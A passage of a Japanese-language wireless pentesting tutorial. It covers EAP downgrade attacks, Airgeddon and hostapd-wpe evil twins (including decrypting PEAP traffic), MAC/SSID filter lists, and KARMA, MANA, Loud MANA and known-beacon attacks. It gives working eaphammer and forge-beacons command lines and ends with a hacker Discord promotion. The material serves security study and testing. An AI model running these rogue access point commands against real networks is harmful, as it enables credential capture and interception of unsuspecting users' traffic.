GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに指定することもできます。
--negotiate weakest
または次のように使用することもできます:
--negotiate gtc-downgrade
を使用して、高効率のGTCダウングレード実装(平文パスワード)を使用します。--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
を指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。- ウィキで詳細情報を見つける
Airgeddonを使用する
Airgeddon
は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャできます。後で、攻撃者はパスワードを解読しようと試みることができます。
Airggedon
は**連続的なイービルツイン攻撃(ノイジー)または誰かが接続するまでイービルアタックを作成するだけ(スムーズ)**の可能性を提供します。
Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ
この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです
_hostapd-wpe_の構成内で、dh_file
を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh
から #dh_file=/etc/hostapd-wpe/certs/dh
に)
これにより、hostapd-wpe
がDHの代わりにRSAを使用して鍵を交換するようになり、後でサーバーの秘密鍵を知っている場合にトラフィックを復号できるようになります。
今、通常どおりに修正された構成を使用してEvil Twinを開始する**hostapd-wpe
を開始します。また、Evil Twin攻撃を実行しているインターフェースでwireshark
**を開始します。
今すぐまたは後で(すでにいくつかの認証意図をキャプチャしている場合)、RSAキーをwiresharkに追加できます: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
新しいエントリを追加し、次の値でフォームを記入します: IPアドレス = any -- ポート = 0 -- プロトコル = data -- キーファイル(キーファイルを選択し、問題を避けるためにパスワード保護されていないキーファイルを選択します)。
そして新しい**"Decrypted TLS"タブ**を見てください:
KARMA、MANA、Loud MANAおよびKnown beacons攻撃
ESSIDおよびMACブラック/ホワイトリスト
異なる種類のMedia Access Control Filter Lists(MFACL)とそれらに対応するローグアクセスポイント(AP)の振る舞いに対するモードと効果:
- MACベースのホワイトリスト:
- ローグAPは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。
- MACベースのブラックリスト:
- ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。
- SSIDベースのホワイトリスト:
- ローグAPは、指定されたESSIDのみに対するプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。
- SSIDベースのブラックリスト:
- ローグAPは、ブラックリスト上の特定のESSIDに対するプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスにはローグAPが見えなくなります。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
この方法は、デバイスがネットワークに接続しようとする際のすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成する攻撃者に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、デバイスを攻撃者のAPに接続させることができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。
MANA
その後、デバイスは未要求のネットワーク応答を無視し始めました。これにより、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入されたMANA攻撃として知られる新しい方法があります。この方法は、ローグAPが、デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名(SSID)をキャプチャすることを含みます。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。
MANA攻撃は、デバイスからの指示されたプローブリクエストとブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘導します。
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
ラウドMANA
ラウドMANA攻撃は、デバイスが指向性プロービングを使用しない場合や、そのデバイスの優先ネットワークリスト(PNL)が攻撃者に不明な場合のための高度な戦略です。この攻撃は、同じエリアにあるデバイスはPNLでいくつかのネットワーク名を共有する可能性が高いという原則に基づいています。選択的に応答する代わりに、この攻撃は観測されたすべてのデバイスの結合されたPNLにあるすべてのネットワーク名(ESSID)に対してプローブ応答をブロードキャストします。この広範なアプローチにより、デバイスが馴染みのあるネットワークを認識し、ローグアクセスポイント(AP)に接続しようとする可能性が高まります。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
既知のビーコン攻撃
Loud MANA攻撃が十分でない場合、既知のビーコン攻撃は別のアプローチを提供します。この方法は、ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースするものです。これにより、多数のネットワークの存在がシミュレートされ、被害者のPNL内のESSIDと一致することを期待し、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕捉するためのより積極的な試みとして、--loud
オプションと組み合わせることで増幅される可能性があります。
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(--loud
を組み合わせてLoud MANA + Known beacons攻撃を作成することもできます)。
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
既知のビーコンバースト攻撃
既知のビーコンバースト攻撃には、ファイルにリストされている各ESSIDに対してビーコンフレームを高速でブロードキャストすることが含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Directは、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士を直接リンクさせるプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoT)デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup(WPS)**を介して確立されます。WPSは、次のような安全なペアリングのためのいくつかの方法をサポートしています:
- Push-Button Configuration(PBC)
- PIN入力
- Near-Field Communication(NFC)
これらの方法、特にPIN入力は、従来のWi-FiネットワークのWPSと同様の脆弱性に対して脆弱であり、同様の攻撃ベクトルの標的となります。
EvilDirect Hijacking
EvilDirect Hijackingは、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、airbase-ng
などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます:
参考文献
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
TODO: https://github.com/wifiphisher/wifiphisherをチェックしてください(FacebookログインとキャプティブポータルでのWPAの模倣)
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
最新の発表事項
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
Discordに参加して、今日からトップハッカーと協力を始めましょう!